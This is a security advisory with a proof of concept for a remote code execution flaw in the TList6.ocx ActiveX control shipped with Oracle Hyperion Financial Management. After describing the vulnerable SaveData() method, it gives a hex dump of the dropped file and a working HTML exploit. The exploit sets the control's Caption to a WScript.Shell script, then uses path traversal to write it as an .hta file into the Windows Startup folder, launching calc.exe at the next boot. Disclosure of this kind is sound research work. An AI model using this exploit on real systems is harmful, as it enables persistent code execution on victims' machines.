139 lines
No EOL
6.3 KiB
Text
139 lines
No EOL
6.3 KiB
Text
Oracle Hyperion Financial Management TList6 ActiveX
|
||
Control Remote Code Execution Vulnerability
|
||
|
||
tested against: Internet Explorer 8
|
||
Microsoft Windows Server 2003 r2 sp2
|
||
|
||
download url:
|
||
http://www.oracle.com/technetwork/middleware/epm/downloads/index.html
|
||
|
||
files tested:
|
||
SystemInstaller-11121-win32.zip
|
||
FoundationServices-11121-win32-Part1.zip
|
||
FoundationServices-11121-win32-Part2.zip
|
||
FoundationServices-11121-win32-Part3.zip
|
||
FoundationServices-11121-win32-Part4.zip
|
||
FoundationServices-11121-Part5.zip
|
||
FoundationServices-11121-Part6.zip
|
||
FoundationServices-11121-Part7.zip
|
||
StaticContent-11121.zip
|
||
RandAFoundation-11121.zip
|
||
EPM_Architect-11121.zip
|
||
HyperionFinancialManagement-11121.zip
|
||
|
||
Background:
|
||
|
||
the mentioned program installs an ActiveX control with the following
|
||
settings:
|
||
|
||
Binary Path: C:\WINDOWS\system32\TList6.ocx
|
||
ProgID: TList.TList.6
|
||
CLSID: {65996200-3B87-11D4-A21F-00E029189826}
|
||
Safe for Initialization (Registry): True
|
||
Safe for Scripting (Registry): True
|
||
|
||
This control is marked "safe for scripting" and "safe for initialization",
|
||
Internet Explorer will allows scripting of this control.
|
||
|
||
|
||
Vulnerability:
|
||
|
||
The mentioned class contains the vulnerable SaveData() method, see typelib:
|
||
|
||
...
|
||
/* DISPID=167 */
|
||
/* VT_I2 [2] */
|
||
function SaveData(
|
||
/* VT_BSTR [8] */ $lpszFileName
|
||
)
|
||
{
|
||
}
|
||
...
|
||
|
||
which allows to create / overwrite files with arbitrary extensions
|
||
inside arbitrary locations ex. automatic startup folders. By manipulating
|
||
ex. the Caption property is possible to create a valid application
|
||
with .hta extension.
|
||
|
||
The resulting file will look like this:
|
||
|
||
0000 00 62 99 65 87 3b d4 11 a2 1f 00 e0 29 18 98 26 .b™e‡;Ô. ¢..à).˜&
|
||
0010 09 00 06 00 ac 14 00 00 ac 14 00 00 e4 00 00 00 ....¬... ¬...ä...
|
||
0020 00 03 52 e3 0b 91 8f ce 11 9d e3 00 aa 00 4b b8 ..Rã.‘Î .ã.ª.K¸
|
||
0030 51 01 00 00 00 90 01 c0 d4 01 00 0f 54 69 6d 65 Q.....À Ô...Time
|
||
0040 73 20 4e 65 77 20 52 6f 6d 61 6e 01 00 01 01 00 s New Ro man.....
|
||
0050 08 00 00 80 05 00 00 80 0e 00 00 80 0d 00 00 80 ...€...€ ...€...€
|
||
0060 2c 01 00 00 e1 00 00 00 e1 00 00 00 f1 ff ff ff ,...á... á...ñÿÿÿ
|
||
0070 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ........ ........
|
||
0080 00 00 00 00 00 00 00 00 01 5c 61 3e 3e 3e 3e 3e ........ .\a>>>>>
|
||
0090 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3e 3c 53 43 52 >>>>>>>> >>>><SCR
|
||
00a0 49 50 54 3e 20 76 61 72 20 78 3d 6e 65 77 20 41 IPT> var x=new A
|
||
00b0 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 57 53 ctiveXOb ject("WS
|
||
00c0 63 72 69 70 74 2e 53 68 65 6c 6c 22 29 3b 20 78 cript.Sh ell"); x
|
||
00d0 2e 45 78 65 63 28 22 43 41 4c 43 2e 45 58 45 22 .Exec("C ALC.EXE"
|
||
00e0 29 3b 20 3c 2f 53 43 52 49 50 54 3e 00 01 01 01 ); </SCR IPT>....
|
||
00f0 03 00 ff ff ff ff ff ff ff ff 00 01 00 01 00 00 ..ÿÿÿÿÿÿ ÿÿ......
|
||
0100 00 00 00 00 00 00 00 00 00 00 01 00 01 00 00 00 ........ ........
|
||
0110 01 00 00 00 00 00 03 00 01 00 00 00 ff 00 00 00 ........ ....ÿ...
|
||
0120 00 00 00 08 00 00 80 01 00 00 00 00 00 00 00 00 ......€. ........
|
||
0130 00 17 00 00 80 18 00 00 80 00 00 00 00 01 00 1a ....€... €.......
|
||
0140 62 99 65 87 3b d4 11 a2 1f 00 e0 29 18 98 26 44 b™e‡;Ô.¢ ..à).˜&D
|
||
0150 55 02 00 00 00 12 00 06 00 0b 00 02 00 00 00 00 U....... ........
|
||
0160 00 00 04 00 03 00 00 60 ab 4e 06 10 00 00 00 5f .......` «N....._
|
||
0170 5f 4f 62 73 6f 6c 65 74 65 56 61 6c 75 65 00 00 _Obsolet eValue..
|
||
0180 00 00 00 00 00 00 00 00 60 ab 4e 06 00 00 00 00 ........ `«N.....
|
||
0190 01 4d 4b 10 00 00 00 00 00 01 00 00 00 02 00 00 .MK..... ........
|
||
01a0 00 03 00 00 00 04 00 00 00 05 00 00 00 06 00 00 ........ ........
|
||
01b0 00 07 00 00 00 08 00 00 00 09 00 00 00 0a 00 00 ........ ........
|
||
01c0 00 0b 00 00 00 0c 00 00 00 0d 00 00 00 0e 00 00 ........ ........
|
||
01d0 00 0f 00 00 00 00 00 ff 00 00 ff ff ff 00 00 00 .......ÿ ..ÿÿÿ...
|
||
01e0 ff 00 00 00 00 00 00 05 00 00 00 02 00 00 00 00 ÿ....... ........
|
||
01f0 00 01 00 00 c0 c0 c0 22 00 00 08 00 00 00 09 00 ....ÀÀÀ" ........
|
||
0200 01 00 00 80 bf ff 31 00 00 00 8a e3 aa 2b 84 ee ...€¿ÿ1. ..Šãª+„î
|
||
0210 e5 a0 2b 84 a8 ac a0 0c 00 00 00 35 35 32 58 58 å +„¨¬ . ...552XX
|
||
0220 58 58 58 44 45 4d 4f 08 00 00 00 4a 6f 68 6e 20 XXXDEMO. ...John
|
||
0230 44 6f 65 1e 00 01 00 00 00 00 40 00 00 ff ff ff Doe..... ..@..ÿÿÿ
|
||
0240 00 90 01 00 00 02 00 d7 00 00 00 44 55 06 00 00 ......× ...DU...
|
||
0250 00 12 00 06 00 0b 00 06 00 00 00 f8 8f 50 04 10 ........ ...øP..
|
||
0260 00 00 00 5f 5f 49 6e 6e 65 72 50 69 63 41 6c 69 ...__Inn erPicAli
|
||
0270 67 6e 00 03 00 05 00 00 00 00 10 58 66 04 13 00 gn...... ...Xf...
|
||
0280 00 00 5f 5f 49 6e 6e 65 72 42 6f 72 64 65 72 43 ..__Inne rBorderC
|
||
0290 6f 6c 6f 72 00 03 00 00 00 00 00 00 20 b5 56 08 olor.... .... µV.
|
||
02a0 13 00 00 00 5f 5f 49 6e 6e 65 72 42 6f 72 64 65 ....__In nerBorde
|
||
02b0 72 53 74 79 6c 65 00 03 00 00 00 00 00 00 30 f4 rStyle.. ......0ô
|
||
02c0 60 08 11 00 00 00 5f 5f 49 6e 6e 65 72 42 61 63 `.....__ InnerBac
|
||
02d0 6b 43 6f 6c 6f 72 00 03 00 c0 c0 c0 02 00 b8 c1 kColor.. .ÀÀÀ..¸Á
|
||
02e0 33 0d 11 00 00 00 5f 5f 49 6e 6e 65 72 54 65 78 3.....__ InnerTex
|
||
02f0 74 41 6c 69 67 6e 00 03 00 02 00 00 00 00 b8 54 tAlign.. ......¸T
|
||
0300 6d 0d 11 00 00 00 5f 5f 49 6e 6e 65 72 41 6c 69 m.....__ InnerAli
|
||
0310 67 6e 6d 65 6e 74 00 03 00 00 00 00 00 00 2e 00 gnment.. ........
|
||
0320 00 00 ..
|
||
|
||
proof of concept code which launches calc.exe at the next
|
||
startup:
|
||
|
||
http://retrogod.altervista.org/9sg_ohfm_poc.html
|
||
|
||
<!--
|
||
Oracle Hyperion Financial Management 11.1.2.1.0
|
||
TList6.ocx ActiveX Control Remote Code Execution Vulnerability PoC
|
||
|
||
tested against Internet Explorer 8
|
||
Microsoft Windows 2003 r2 sp2
|
||
|
||
Binary Path: C:\WINDOWS\system32\TList6.ocx
|
||
ProgID: TList.TList.6
|
||
CLSID: {65996200-3B87-11D4-A21F-00E029189826}
|
||
Safe for Initialization (Registry): True
|
||
Safe for Scripting (Registry): True
|
||
|
||
rgod
|
||
-->
|
||
<!-- saved from url=(0014)about:internet -->
|
||
<html>
|
||
<object classid='clsid:65996200-3B87-11D4-A21F-00E029189826' id='obj' />
|
||
</object>
|
||
<script>
|
||
obj.Caption = ">>>>>>>>>>>>>>>>><" + "SCRIPT> var x=new ActiveXObject(\"WScript.Shell\"); x.Exec(\"CALC.EXE\"); <" +"/SCRIPT>";
|
||
obj.SaveData("..\\..\\..\\..\\..\\..\\..\\..\\..\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\suntzu.hta");
|
||
</script> |